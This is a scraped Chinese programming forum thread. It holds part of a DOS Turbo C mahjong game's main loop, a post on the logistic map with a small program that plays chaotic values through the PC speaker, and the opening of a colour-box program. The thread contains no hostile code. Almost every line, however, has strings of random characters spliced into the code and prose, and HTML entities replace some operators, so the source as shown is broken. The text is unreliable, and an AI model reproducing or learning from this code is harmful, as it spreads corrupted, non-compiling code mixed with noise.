7 j. u: A5 V, R# h" E/ Uif(every==9)0 O( q9 f$ c! t. f) z0 n8 E2 m
{- O, U2 o& |- t: K/ h( }9 i
x1=200;6 _  `% c4 R6 ?
y1=165;
2 n4 Z8 O0 w3 `& m0 SfillRectangle(x1,y1,x1+20,y1+4,0);( X9 r# ~% s0 F) m" @' Y  B
}
; B- l$ R* i/ [- E8 |- ^if(every==10)
$ |; ~, Y5 `# b5 R! Y. n7 R{5 j5 X5 P5 p: z5 m, j' g% z
x1=220;
  q% M, u) `+ Hy1=165;% ]2 L& V! T7 g, {- H
fillRectangle(x1,y1,x1+20,y1+4,0);
' r, ~8 P' i( d# }6 d. F}& G7 r/ \2 w# Q) h3 ]$ J( W+ A
if(every==11)
0 X8 c) G# ]* [7 V. \5 X' A8 U{6 P5 m0 `. K& v# _4 E: [6 m
x1=240;
) Y1 l& _2 h" s6 g  C, ^, |y1=165;
6 `! c7 a0 e8 B. M3 O: _fillRectangle(x1,y1,x1+20,y1+4,0);, M6 J9 q4 o7 k; |4 M
}) W. O. V: x$ \7 o# |$ w( y
if(every==12)
! e: ^& z% h+ |# `7 P$ a2 @{2 d" h* q: ?6 ?- X% c
x1=260;6 @( O: e8 K9 d7 Y
y1=165;/ G5 _: x; [! m6 I/ q& h- [8 ?
fillRectangle(x1,y1,x1+20,y1+4,0);
8 A' J! e/ \, w5 d( @6 f9 y: R4 N}
+ n8 M- L& p. {- W* @0 K2 Q0 h$ m' Z0 h* ~9 N: R
zz=0;
  h6 J# @* y9 }every++;
( V) S3 u- q, f% h7 ]z=z+20;5 c) J8 z, A  r! p
}& a6 }; I4 M3 m1 T4 o3 c
showbmp(every);
' ]1 x: D1 V( \; o/ D: ~key=keyy;, |5 _# I& u$ p/ x; P
if(keyy==ENTER)# U% Q6 m4 M3 }. m6 u. X- h
{4 N. b, x  G7 |/ S! S" T
rgzn(every); /*********************/( J5 {8 y! b) n: |: L& n* e, H8 c
if(sing==1) /*如果可以乓,做相应的处理*/; E2 z  y8 Z8 [' [) I+ i, u/ R8 A- P
{ 9 O+ q3 ^- F, x& h7 G
kkk=0;: v6 [, q/ ]) n/ s& y* _. ]
kkkk=0;
7 H% r# r7 w- g6 H  N. Fwhile(kkk&lt;=computer.m)/ o$ I! b! G' }" J# Q
{
. \( p$ i- Z3 M9 ^if(computer.pp[kkk].p!=1)
! K( H- k+ ^# e# A8 |( U{% H8 }, n3 [6 i5 j1 X' |
comp.pp[kkkk].k=computer.pp[kkk].k;
6 e" U; {% |  r: N6 h* B/ Vcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
4 P' _/ X( K( p2 F; Z3 Dcomp.pp[kkkk].number=computer.pp[kkk].number;
% m( \* V* |8 b6 G3 zkkkk++;
9 \- `  }& V! R, H* v}
6 }0 ?9 b9 Y  J, X& Uelse
( M. h9 E( C; t& R# D' H{
5 x/ R: s6 s( n, J  l' Jm[computer.pp[kkk].number].data1=1;
( p3 E1 `9 J" V2 k: @" A7 L2 H- Sdwei=computer.pp[kkk].number;( C& x5 t; ^3 c3 [+ L1 C
computer.pp[kkk].p=0;7 n" s2 K6 R' d, `
}' f  N, N: W8 M( o
kkk++;
; v. E1 K0 t% l1 _( B}
! V' U5 j- k1 j( B4 r- ~- q+ ull=0;1 O  K/ J/ B2 ^4 i; s" W+ t5 i

2 [. R  D. }5 k) K( ~# Rwhile(ll&lt;3)8 A- A$ R! F0 d: g. `
{ zl=zl+20;; H( l4 O! y8 s, ^2 c- w
bmpp(dwei); /*显示乓的牌*/
- E' _8 G$ d$ r% \1 a1 qll++;
! m( M7 U2 y6 M% M7 C4 }}7 h4 M% a6 }* x% V+ J: `

3 y2 g6 Q+ L" w7 }1 R3 W- ?4 X. bzl=zl+9600-60;/ m( @" W: q6 E7 Z- K# L
kkk=0;- @* ^8 z/ _7 @. \2 u6 W
computer.m=computer.m-2;% n' [$ H/ j4 z4 t  p$ A
while(kkk&lt;=computer.m)
2 K* {* X, g! b" T& o# j4 S{9 S/ @7 a( I0 B( w5 e5 F! K
computer.pp[kkk].k=comp.pp[kkk].k;
: o+ L$ ^5 G6 c) p( V& Q4 zcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;. c) a7 }5 U2 F: ~
computer.pp[kkk].number=comp.pp[kkk].number;
" T! j7 s+ R1 E/ B, J1 mkkk++;) r2 q1 O; v/ R4 h; g. U& T1 |) @
}
& x, P0 R* K0 Q* V4 {0 Q; |ll=0;
/ y! Q6 z# K( I: B% ]* ^% D# R0 vtemp=random(computer.m); /*出牌等待完善*/6 q! j$ H2 P/ J5 a$ N- q- X; o) S
zyy=zyy+9280+20;
, U8 C0 z6 {* C2 E& y6 X9 pshowcbmp(temp);
( k" j2 @) I9 J/ |4 Y/ Wzyy=zyy-9280;
1 Q( z% q, }% |2 L. b2 W; F$ S/ t/*****/
  @& u5 u5 N1 _4 [3 S( @rgznme(temp);
; `1 r  @) E( i5 ^. U+ u# zpanduan();
6 {+ }8 x$ Z* e; E9 v8 v! H) jif(me.m==0)
7 o0 v/ O2 M1 v0 ?: Qif(second==1 &amp;&amp; threes==0), A5 s: Y: S* O6 p: _" r2 l
printf("you win!");2 Q( _* C/ v* |6 n4 G
if(me.m==3)% _0 L8 c, J' V
if(second==1 &amp;&amp; threes==1)
  O- Z" L! U" q8 X, q# m& ?: ?printf("you win!");
6 N" G% e0 v! z" x% R# ^9 Y: r5 Iif(me.m==6)
3 b  [1 I7 c$ r* @$ L( ^- J( fif(second==1 &amp;&amp; threes==2)" P3 o' Q& p  H
printf("you win!");) E! u* `* V* R4 a
if(me.m==9)) N. Y0 c; Z4 u, a: j
if(second==1 &amp;&amp; threes==3)3 W+ @, p8 ~9 T3 u4 Z+ |7 a
printf("you win!");; f$ c! [% o* x! \$ p
if(me.m==12)
" H) E& _5 k2 o: A* E! Tif(second==1 &amp;&amp; threes==4)
$ t6 O! b6 c# W4 w( Tprintf("you win!");* g! f6 o2 H" _( E& |

& ~* K1 L, d% W  Akkk=0;9 m4 \* `) f; T9 N+ E. z
kkkk=0;( z% A' T, @5 a7 I$ K
while(kkk&lt;=computer.m)+ I. Y! t& ~' n8 K
{# c9 \' B" B( `) R$ d* B$ k, x2 s6 `9 Y
if(kkk!=temp)
3 [( h" A# H8 u) S7 Y& c/ h( V{$ L' [+ y- @' S! x% U* ?$ W
comp.pp[kkkk].k=computer.pp[kkk].k;5 {3 N- s7 a, L; b1 a/ i7 W
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;* d6 r* M: V4 F& z
comp.pp[kkkk].number=computer.pp[kkk].number;
) f) b  R/ c( H" I1 {( Fkkkk++;, S0 w8 l% v0 b) d; d+ _( }9 f$ h
}! u" p4 i. s( E+ g* ?" F  P: K- \
else
; x% a( T. T9 `5 Nm[computer.pp[kkk].number].data1=1;0 o0 Z! m" R3 `! J/ m6 _% d
kkk++;
) X+ g9 O0 _9 A}4 H4 n* B, o! k: w2 g
kkk=0;1 l1 B9 c+ i3 E' E
computer.m=computer.m-1;
4 F. w- S5 W  d) P2 Lwhile(kkk&lt;=computer.m)
& h8 J2 M# M/ y* t{' J, D! c  h0 K/ @$ j7 T7 M
computer.pp[kkk].k=comp.pp[kkk].k;
3 s8 }& O3 `/ C7 Pcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
6 p5 Z0 ]; a# I+ \( Qcomputer.pp[kkk].number=comp.pp[kkk].number;, ]8 o1 ?: x2 d5 \1 H4 p- b* ]/ _! ]: y
kkk++;7 M, B: r; B, f# j& x) L
}) r$ a3 H! _2 X& P" e8 _. W' C
fillRectangle(0,0,320,30,0);
8 N. |8 O: G1 y' k% ln=computer.m;
, D# t) n4 j$ L9 p" Q  n& t! yll=0;
0 M& ~( B; f( \9 N6 Ezy=0;
: {! ~4 Z/ ~. Y# h7 M/ lwhile(ll&lt;=n)
  L0 G# H4 r5 r% M; b7 l{
3 a# F) w, F0 }1 ?zy=zy+20;& X0 [2 _4 l/ O. T. V
showybmp(ll);
3 g8 M5 K( G( _; ^+ G& ell++;4 g% S- G$ `; m$ A4 D
}$ t2 q* i) Y7 a* B6 B7 n$ k
ll=0;
6 J# z* O) U2 a: A+ ^- J) n% kgetch();
) x- w$ f& D( X+ Y8 w) j. fsing=0;
: m3 x3 C7 @: X5 F3 bsing1=1;
, o6 X! h' q7 M' F}( K3 O& L) }6 I; g+ {2 Z

8 D" x) I' U- H1 x: t: Kif(sing==2) /*如果可以杠的做相应处理*/% a* W/ G- A" X# |1 K7 S
{
. p. S! {% g5 y( Y$ T# Ukkk=0;' k. d/ e" `- `
kkkk=0;; B0 g. D& `5 h/ @' i
while(kkk&lt;=computer.m)
  u0 b! S4 i8 R9 ^) l) v{6 {) h6 g: Y5 w5 I1 j/ @7 M% }
if(computer.pp[kkk].g!=1)
- a: E4 [( V/ l/ `6 h. D- ~{; S( X9 K5 e0 u0 Q
comp.pp[kkkk].k=computer.pp[kkk].k;/ ^; i* w1 J$ N; T- g
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
2 K4 g/ i# Z7 c1 d& W0 Y" Dcomp.pp[kkkk].number=computer.pp[kkk].number;
' R9 Z" ?0 q4 k5 a1 Hkkkk++;6 t4 k4 z- d( V
}
* L; A& J9 c9 M# \9 n6 H. n" Kelse
& q3 s' |+ t8 k" w: n{7 O' J" s5 n$ E* t: `* X8 p0 D
m[computer.pp[kkk].number].data1=1;9 c) |, i( O( T; N* j
dweig=computer.pp[kkk].number;
# X& v# S4 x& y3 u+ Ucomputer.pp[kkk].g=0;
% H# T0 L/ n7 ^* q  c}4 T1 Q" B+ j+ ?1 M
kkk++;% r0 S  u1 _) V
}
3 ?4 }8 w, Z3 ?ll=0;
& I9 f+ B* j4 I- W# c; N; k1 h- N3 M" A5 Y
while(ll&lt;=3)
# L# g, b8 D7 }, K{ zl=zl+20;: O$ i, m# q# O2 ]9 \3 F
bmpp(dweig); /*显示杠的牌*/
9 N2 \1 A" @+ P: d7 `ll++;9 F  v2 r. ^1 O# W  y& g8 F- U" X
}
2 z+ z: j4 k3 e! g& W0 Z* jzl=zl+9600-60;# H$ M2 L* A! P: `
kkk=0;
; W/ o% a, \! jcomputer.m=computer.m-3;
* b+ u) r9 A% q: o; {. ]" _) a6 lwhile(kkk&lt;=computer.m)
4 u! C2 Q8 i* f, m8 M  p, S9 s4 C0 K{
% K% @! A8 L! T/ kcomputer.pp[kkk].k=comp.pp[kkk].k;9 y4 }0 h* n% }2 z, n9 K
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
$ `9 e: ^6 C6 G8 O0 T+ U- tcomputer.pp[kkk].number=comp.pp[kkk].number;0 _6 W1 k- a  {
kkk++;2 I" I' K" i) T" h! J! q: f
}; Z$ J; m" k5 i1 P3 l7 h9 R' r3 s! r' Z
kk=0;7 @/ u; Z6 O: R
computer.m++; /*加一个牌的容量*/- A# [, `2 f  I9 [* H# w6 E
while(kk!=1)
0 h6 O+ w9 S$ O. g! l{
3 a" ?, z. F% ntemp=random(136); /*出牌*/, ^3 e- i" }( W- E5 W
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
5 g1 Y) P. S" O- F: J" T{
( W8 C# Y2 i6 R! a8 t6 ccomputer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/$ U. g+ e) [: F
computer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/0 V8 V; b! R7 z; p& {6 c
computer.pp[computer.m].number=temp; /*第几张,用来排序*/
# C, r6 r- _+ @( H8 u! Q8 tm[temp].data2=2; /*判断牌是谁的,2为电脑*/
, o. s2 Y; Y  Jkk=1;" z  B2 |3 z6 ?7 _' d
}6 ?6 T$ D# M6 ?7 D
}
  N! R9 t" O4 B( s" a0 P8 Hcomlipai();
: o/ Q9 P! q* utemp=random(computer.m); /*出牌,等待完善*/
& F, S! ?- H+ A) N1 @zyy=zyy+9280+20;
7 a/ l  F/ t9 k; _showcbmp(temp);
9 z7 O& r$ I1 k% B5 E$ Ezyy=zyy-9280;/ }( o, e- e* W; z8 l2 ?9 m4 z, M
/*****/! n% Q! K1 l9 W( c7 Z* Q% J1 g
rgznme(temp);
) {  u7 O, G5 v3 _4 ypanduan();5 T# B: `! v* x8 H
if(me.m==0)6 `7 e/ n$ y3 }1 G- s
if(second==1 &amp;&amp; threes==0)- Q4 D0 |$ ]. A) ~4 B5 f
printf("you win!");! L/ p0 }8 e% w1 Q; ~, |) p
if(me.m==3)& u% E' c8 c9 E* ~
if(second==1 &amp;&amp; threes==1)
" r8 v- O9 J( T9 Rprintf("you win!");. f2 I' ]3 W! |
if(me.m==6)1 p' M5 S; `: R
if(second==1 &amp;&amp; threes==2)! k9 q$ Z! z; L
printf("you win!");, w- }$ n  n! a: T5 v
if(me.m==9)
5 ~6 a, @/ s- Oif(second==1 &amp;&amp; threes==3)' t  |* o' L5 y# X$ J
printf("you win!");3 E* B+ {; C+ I
if(me.m==12)
5 y0 U, T0 u+ q5 m, wif(second==1 &amp;&amp; threes==4), Q$ s" h* T/ Q" ]$ G
printf("you win!");
. ~6 r1 a2 J* {# U
5 n0 ?8 v9 {! Y# k+ V1 u& dkkk=0;8 f2 {; }# L* C
kkkk=0;
6 w/ r7 t# ~* M5 vwhile(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/% ?2 f# M& C1 q
{
6 L; D( A4 H2 aif(kkk!=temp)7 |7 b- G/ _( ~( p& }" U
{* \4 v! z' b, ^- ~7 l2 A5 ~; h
comp.pp[kkkk].k=computer.pp[kkk].k;% _; a; p4 G; `( Z3 }. T
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;1 X' j: Y  ?( [( E$ B
comp.pp[kkkk].number=computer.pp[kkk].number;/ A# N- j. ]; R$ b+ c7 r. d
kkkk++;& S" R% f- u, F& K# Y* N7 \- D
}4 Y2 _4 c7 L* Z" ]
else6 M$ [# k1 [+ g$ k1 ?# E
m[computer.pp[kkk].number].data1=1;
( O5 p" w9 O! J& }kkk++;
. a, R% j: L9 [0 _/ h+ p$ g: b}
+ X9 U4 _$ H& `6 H  q# `kkk=0;
; O: k' |8 x) O: \% {4 g. ecomputer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/8 q! c; x8 Q$ `+ s# y6 H7 J% R8 m4 J
while(kkk&lt;=computer.m)
; W0 v0 i! J; ?( q{
% |. L% D; U$ \, Q8 _3 b" a7 D2 F( Wcomputer.pp[kkk].k=comp.pp[kkk].k;& d+ l& P' k9 Q4 x* ^
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
7 L  j0 a) _5 B' @! A# Pcomputer.pp[kkk].number=comp.pp[kkk].number;! ]3 Y# _2 H4 w
kkk++;6 c; X, Y2 O; o$ D  q4 h, q3 Y
}
0 A+ j7 U! c0 f, tfillRectangle(0,0,320,30,0);4 ]8 d* O- }8 g. ~
ll=0;
8 b8 H! B. f. [8 [* s/ hzy=0;
- o# Q( Y% ?! n) ]$ ]0 cwhile(ll&lt;=computer.m). p7 X# K, b* y' @  Z- M& l
{' r5 P) c: ^8 x1 i; L# _
zy=zy+20;
2 M2 G! G+ a2 T% o$ Bshowybmp(ll);
" f  T  U" M) [9 E5 cll++;
3 i1 U9 p0 |; X! S0 p8 L& ]9 Y}) j0 d3 t8 S, |( u6 v  L6 }
sing=0;. w- O7 }7 q, n
sing1=1;
, Q/ c# }) i  z# n! [% @}9 ?; M' A+ l2 L: }
if(sing==7) /*如果可以吃的,做相应处理*/
) y; P- r+ j% l# ~* K4 b0 s3 M{ nn=0;' [2 A2 ~7 Q* a8 K+ r0 c7 u
kkk=0;+ C# e1 C  I% J3 G( ^8 Q, A+ y  k
kkkk=0;$ G% j3 _1 d) I7 Y# x$ R
while(kkk&lt;=computer.m)* m) y! M  l! J, M3 C5 w
{
5 k6 Z( X% \& E3 lif(computer.pp[kkk].c!=1)
0 ?8 s5 z% K$ s1 m0 E{+ h+ F1 O; M) ~% i$ t  d
comp.pp[kkkk].k=computer.pp[kkk].k;( G$ W  ]; [8 c. ]# I/ w
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;6 C" j# c# F9 V7 ~- g
comp.pp[kkkk].number=computer.pp[kkk].number;. v+ z3 @3 q1 w; l$ t
kkkk++;
  ?1 B; U6 _( X3 V1 n2 d. Q}1 P9 W2 A2 M6 ~! _+ S( `
else+ _% T2 v4 A1 J; h
{0 x7 P" _5 J2 Z  _
m[computer.pp[kkk].number].data1=1;. h1 G' d3 ?3 \
dw[nn++]=computer.pp[kkk].number;
* s) w* I: D* w3 p9 h8 Kcomputer.pp[kkk].c=0;
4 p  O$ t- u" E% t}
: L1 q' g3 k8 r& Xkkk++;
% L, D0 a  U% J( q& V5 D$ Q}1 t& h  F0 q& H8 N9 V' m: R* V

7 ^) U& q4 ^' ~5 Dif(me.pp[every].number&lt;dw[0])
1 L$ s+ H% q  q8 u1 r0 z3 i, P{
5 G! s$ V0 c0 \7 Adw[2]=dw[1];0 F2 ]& t9 ^" A" `3 ]
dw[1]=dw[0];
7 O* e3 Q1 @0 p, t. n/ odw[0]=me.pp[every].number;
1 N  r0 }! _3 G' [}2 v0 ^# \3 V6 ^8 T
if(me.pp[every].number&gt;dw[1])5 h4 k( R7 A* j3 b0 x# O, f
{
$ [) _. h$ o9 ?, z+ H" W  Bdw[2]=me.pp[every].number;
2 |, P- z& o: \" {! X4 t/ R}4 u! _5 G% O3 b/ s/ C0 |+ T
if(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])! \( k/ O  j% ~  H: }2 N0 n
{$ ?0 ~9 b6 p6 X" A
dw[2]=dw[1];
  o2 b0 ]( U+ I! W1 t# r+ udw[1]=me.pp[every].number;
& A7 `: w; s0 M5 F: `0 S}3 X) ]* z" B; {1 F
nn=0;3 [' n8 `% l( r; a+ h! D
while(nn&lt;3)9 c  P' J9 O1 V
{ zl=zl+20;4 a) B& U; ~* Q. v" Y8 o
bmpp(dw[nn]); /*显示吃的牌*// H, z7 G9 w1 J2 W8 I2 J* q
nn++;# E# ~/ G/ U5 P2 N6 s: ~
}
" x- K" W7 x2 E7 d! nzl=zl+9600-60;
) E8 c7 e/ Y7 d! R! M9 W" S! s: X5 Okkk=0;
, S1 N% }8 r! [computer.m=computer.m-2;: _9 `" L7 ?0 @; h+ E. e# l
while(kkk&lt;=computer.m). A2 q, Q2 [' T# K% i/ N0 k5 ^, v
{
" @% r/ _8 Q" v/ x" S+ t( W, ~computer.pp[kkk].k=comp.pp[kkk].k;5 J/ |% A6 S2 Q- A# }# f& ]
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
- f; b( q; |, W( v/ d$ ]computer.pp[kkk].number=comp.pp[kkk].number;1 I3 I% u9 \9 V8 o
kkk++;1 W- m# k% R" p) h8 O6 w; t; U. b( R
}
9 M8 ^! ?; ?: [5 Xll=0;
+ W: }/ K; s. p. b- Vtemp=random(computer.m); /*出牌等待完善*/
4 z( d1 _' ]+ x8 V  Azyy=zyy+9280+20;. x8 N) i8 f3 [% `( ]; L6 I6 K
showcbmp(temp);  L/ J  d. f$ k1 L: A5 U
zyy=zyy-9280;
+ \, o' o4 T2 Q( s7 ]  }/*****/
* @4 D3 Q* `. k8 F+ g' V$ Xrgznme(temp);; ]7 p1 ]* V% L& x
panduan();
2 O$ C' R4 W" G5 {; Fif(me.m==0)
4 N( U: q4 I( @5 J& ?2 ~" C2 h. Kif(second==1 &amp;&amp; threes==0)* \7 s! v5 k6 q& M7 N) N
printf("you win!");/ c0 L6 l( R9 @* e1 K
if(me.m==3): p9 g8 c+ l. c
if(second==1 &amp;&amp; threes==1)
% t/ G- S- e% ]5 T; ?' }2 v; x6 @* ]printf("you win!");
6 I& j8 P0 v& c8 P! P1 V: Cif(me.m==6)3 M1 ?' i& A8 i. D
if(second==1 &amp;&amp; threes==2)& K0 E5 O: z& `
printf("you win!");
$ p% a- b, u, Qif(me.m==9)/ N% T  h6 D$ w: e7 h6 u
if(second==1 &amp;&amp; threes==3)  ^: s% t/ T% L( C
printf("you win!");
2 R) g% y+ |5 q0 tif(me.m==12)
' r+ F- w+ l! Iif(second==1 &amp;&amp; threes==4)
3 R2 y2 F# b0 C$ v8 h. kprintf("you win!");3 T, |2 z7 F9 [& ^0 L* F$ R1 K0 y

( X5 @6 f; d. L) d, t  c, t/ c& Ukkk=0;; l7 N+ n- A7 ^2 z3 y, }% H
kkkk=0;0 g( a  q0 P- K
while(kkk&lt;=computer.m)
9 P1 H" }2 h' p, U, w# Y2 p{
' }( x- K+ v, \0 H0 i* W* S! w+ ]if(kkk!=temp)
* K0 E$ m5 l( R9 Y% @( l7 q{2 [( t. U9 O. S! @! |( r/ p
comp.pp[kkkk].k=computer.pp[kkk].k;' ]8 ]! [# g, k; s, T) @  ~; R4 Z0 r
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
, k1 W5 n5 z' ~* C" Mcomp.pp[kkkk].number=computer.pp[kkk].number;
" S3 e9 v. p" B0 `0 Dkkkk++;
/ ?( k4 i- q8 g}3 X) v8 r9 B0 t. {
else
! Q3 Q) @& g3 Om[computer.pp[kkk].number].data1=1;
! {$ I; m7 w0 q* e' j* Rkkk++;
' G8 A% x/ _/ B}
' f( Y) s6 D8 [) N6 [kkk=0;% q0 _) }5 B: ?& k9 t  r" ~
computer.m=computer.m-1;# s; a; h: D9 x7 y
while(kkk&lt;=computer.m)   Y- I" Q. ]* v1 m9 X8 y1 Y
{
' g: Z. p+ G! q- z  h* Ccomputer.pp[kkk].k=comp.pp[kkk].k;
* J( W1 u/ x* z; D8 t# x6 Y3 ^9 kcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
: L( U4 {7 J0 u0 g8 l0 ?7 E+ @- d6 q5 fcomputer.pp[kkk].number=comp.pp[kkk].number;
" b1 j7 Y5 ?8 `. y, |3 }kkk++;# s' H; E/ n* R/ r3 P: x2 t( S& c
}
( |6 e' c2 g1 r% B% SfillRectangle(0,0,320,30,0);1 H, @& p4 _4 ]/ E7 @' z
n=computer.m;
( h  ]/ D6 @/ r7 N1 R" ~ll=0;9 l# h6 K0 s6 G7 t# C4 _
zy=0;
: c. z2 R% c# O8 rwhile(ll&lt;=n)
5 ]2 `8 C  l2 F8 ]{" ]4 u: R) X! s
zy=zy+20;
3 N1 \' n7 K# e7 p( q# ]showybmp(ll);1 I1 S( t' ^9 w5 q& _  f% T7 l" }
ll++;
! r- o& E; @$ P}
7 i3 R' p0 N5 B* L/ \$ u0 u
# H/ R! [7 v# D9 xgetch();
& O* ?% V  q. R9 o# wsing=0;
! P# w( u" @' I* ^* Z' Ssing1=1;) a  i4 A: E3 ?  v& p. Z
}
2 M1 E3 O) N  E6 k# U% f: |# ~% @$ {1 `if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
0 R' j& `% k. j# D7 X9 I, ]{
5 c7 Y/ s' K4 \, H& S0 }+ ukk=0;# P% `8 m5 M5 f! m( a
h=me.pp[every].number;4 B) x5 s2 g7 j
m[h].data1=1; /*此牌已经无用*/: h) y8 `& `* @) q
if(sing1!=1)
! n1 l" u' |% e# O  d# t{* [; h2 f1 s3 S( A' H
zyy=zyy+9280+20;! X) M  W5 y3 i, n$ z( t" f$ X
showbmpd(every);
( i% p( G9 {$ b8 R4 xzyy=zyy-9280;
% o. l. S' S- }% y}
7 `/ g  `$ m: y3 Hwhile(kk!=1)
( y7 T6 c2 [" x5 E* n% J0 N{7 Q( a  C8 l  t! L0 z
temp=random(136);/ U& [2 w) G0 y; z
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)3 i% U6 t# G$ |% d+ B* e1 L0 I) f) p
{
, P5 O# Y  f8 r6 A# Z+ e9 p; M; [3 Ame.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/: p' X/ B0 u* S1 p
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
- e8 G7 }$ J* ~$ ]! N  }me.pp[every].number=temp; /*第几张,用来排序*/# F8 V5 S% }9 n8 V
m[temp].data2=1; /*判断牌是谁的*/* H3 X3 {2 x2 y) c  U3 A/ U% z- ~  P% u
kk=1;
, M4 m/ p2 `1 }6 `7 W$ H$ _: x}& v4 B( `9 i& |  m
if(kk==0) /*判断如果又选择了,就从新再选*/
1 l4 m" q* \9 skk=0;6 w8 a& \9 H: R
}% b$ ^2 }7 ]: e  L
}" s6 ~" V! ^9 r- t# P  _: _
sing=0;
' V: i! B: [9 |sing1=0;* i# y( r3 D& y$ T
melipai();
. l4 y' G" a8 t0 R8 ^  j' un=13;. |% c! H( @& L9 e* [
z1=54400;
: z+ _7 l/ G# i! @5 ^l=0;8 R5 U: G( @& k
g=z;
+ m/ m9 N0 C1 Y+ N. j5 a8 O0 Uwhile(l&lt;n)
$ u. @  ^% E: u4 J{ z=0;* E6 K9 u/ ~4 D. U, ~8 Z
z1=z1+20;
4 {4 b1 I# P9 t# {3 \5 Eshowbmp(l);
6 d" S: e( [9 a& r) N' Kl++;
, B1 a9 ^+ v# s}
9 Q& D. i% E9 Y' [" k! Hz1=0;
7 k9 n4 l; t2 d: n3 b) ]# lz=g;
" F7 r- d/ ^  @" E0 S}
/ T; t0 }& P* W- b2 q1 _& Gkeyy=0;4 M: L' I& C- W4 K! Y% _* R* H4 I
}' V* \. c2 p6 B

4 M$ U  P# c0 H9 G, vgetch();; d  s" a' b& A  H( H4 Q" v! A7 R
OUTVGA;
2 g8 R9 _. ?# X* U4 G1 V}
, K4 L# L( i( ?4 e5 @- U( D4 p5 |: ?</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])) l. L  |; b5 S- B& F8 i- p
</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:
9 `  ]( \$ p: R1 K  y0 E( |$ m0 o, R; i
  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。
3 B) x+ y- F: n( S2 O$ |  <FONT color=#009900>#include <DOS.H>
* a& }% @7 x) B/ Q+ \$ ?  #include <STDIO.H>1 F$ i% y2 H: M$ j! {
  main(){
! }* G0 y1 Z' _* o  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/, G' J6 X8 H( w- U- O; \) e, n
  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/6 S6 ]1 j7 x' ?" p
  /*i,j用于循环记数*/
1 T' R7 ^  V1 j& f0 r* w6 |2 [  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/1 f& A4 U! m- J" Y4 O
  fDis=fMax-fMin;7 c+ `- f3 o' A5 @9 g
  for(j=1;;j++){: P% G/ u, P8 g8 |
  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/" N: u& k  P4 T$ ~
  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/
2 b% l& _4 c; H! a  scanf("%f",&k);( j( k: B7 M) j$ ?! |) e4 s6 z' a
  if (k==0) break;# F2 M# ~9 b+ w% H" Z; s
  for(i=1;i&lt;100;i++) /*去除开始的100个点*/8 _% C- j! O! L, j: H/ l
  x=k*x*(1-x);
7 z% ]% {2 k' L+ m4 P1 {: D  for (i=1;i&lt;100;i++){7 [6 s9 {/ L. Z8 K/ m
  x=k*x*(1-x); /*计算x的值*// p( e* M+ E6 i  K4 y
  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/
9 H6 F& t& d4 a: x  delay(1000); }) Z( B( t6 Y* L7 h) e* @
  nosound(); }}
9 @7 y) i4 h! m4 F* f. n; o  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。
6 W1 c& Y, d8 H' ~9 l) P$ W不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>8 a2 t7 q: q  V8 ~
<FONT color=#009900>/*1 ?) U3 B- B+ ]2 h% Q
*9 r- X: ~6 z( N- o
* Short driver module
